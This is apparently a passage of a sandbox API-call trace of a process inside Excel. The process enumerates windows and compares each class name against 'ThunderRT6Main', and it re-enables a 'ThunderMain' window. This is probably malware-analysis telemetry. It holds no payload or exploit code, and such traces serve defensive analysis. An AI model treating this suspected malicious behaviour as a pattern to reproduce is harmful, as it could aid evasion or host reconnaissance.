[0147.190] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.190] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.190] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0147.190] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.190] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.190] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.190] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0147.190] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.190] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.190] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.190] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0147.190] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0147.190] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0147.190] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.190] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0147.190] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0147.190] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0147.190] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.190] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0147.190] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0147.190] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0147.191] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0147.191] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.191] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.191] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.191] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0147.191] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0147.191] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0147.191] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0147.191] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0147.191] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0147.191] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0147.191] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0147.191] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.191] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.191] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0147.191] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0147.191] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0147.191] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0147.191] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.191] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0147.191] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0147.191] IsWindowEnabled (hWnd=0x302dc) returned 0 [0147.191] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0147.191] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0147.191] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0147.191] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0147.191] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0147.191] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0147.191] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0147.191] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.191] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0147.191] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0147.191] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0147.191] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0147.191] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.191] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.191] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.191] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0147.191] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0147.191] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0147.191] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0147.191] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.191] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.191] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.191] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0147.191] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0147.191] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0147.191] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0147.191] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.191] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.191] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.191] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0147.191] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0147.191] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0147.192] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0147.192] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.192] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.192] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.192] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0147.192] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0147.192] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0147.192] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0147.192] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0147.192] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0147.192] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.192] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0147.192] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0147.192] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.192] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.192] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0147.192] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0147.192] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0147.192] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0147.192] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.192] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0147.192] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0147.192] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0147.192] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0147.192] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0147.192] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0147.192] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.192] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0147.192] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0147.192] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0147.192] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0147.192] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0147.192] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0147.192] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.192] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0147.192] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0147.192] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0147.192] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0147.192] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.192] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.192] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.192] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0147.192] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0147.192] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0147.192] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0147.192] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.192] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.192] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.192] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0147.192] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0147.192] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0147.192] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0147.192] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.192] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.192] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.192] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0147.192] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0147.192] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0147.192] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0147.192] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.193] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.193] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.193] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0147.193] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0147.193] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0147.193] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0147.193] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0147.193] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0147.193] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.193] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0147.193] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0147.193] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0147.193] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0147.193] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0147.193] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0147.193] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0147.193] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0147.193] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0147.193] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0147.193] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.193] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0147.193] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0147.193] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0147.193] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0147.193] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.193] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.193] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0147.193] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0147.193] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0147.193] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0147.193] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0147.193] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0147.193] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0147.193] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0147.193] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.193] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0147.193] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0147.193] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.193] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.193] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0147.193] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0147.193] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0147.193] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0147.193] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0147.193] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0147.193] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.193] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.193] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0147.193] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0147.193] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0147.193] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0147.193] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0147.193] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0147.193] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.193] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0147.194] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0147.194] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0147.194] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0147.194] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0147.194] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.194] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0147.194] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0147.194] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0147.194] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0147.194] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0147.194] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0147.194] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0147.194] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0147.194] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.194] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0147.194] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0147.194] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0147.194] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0147.194] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0147.194] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.194] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0147.194] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0147.194] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0147.194] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0147.194] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0147.194] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.194] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0147.194] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0147.194] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0147.194] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0147.194] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0147.194] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.194] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0147.194] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0147.194] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0147.194] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0147.194] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0147.194] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.194] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.194] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0147.195] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0147.195] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0147.195] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0147.195] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0147.195] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0147.195] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.195] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.195] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0147.195] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0147.195] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0147.195] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0147.195] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0147.195] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0147.195] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.195] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.195] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0147.195] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0147.195] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0147.195] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0147.195] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0147.195] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0147.195] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.195] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.195] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0147.195] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0147.195] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0147.195] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0147.195] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0147.195] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0147.195] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.195] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.195] 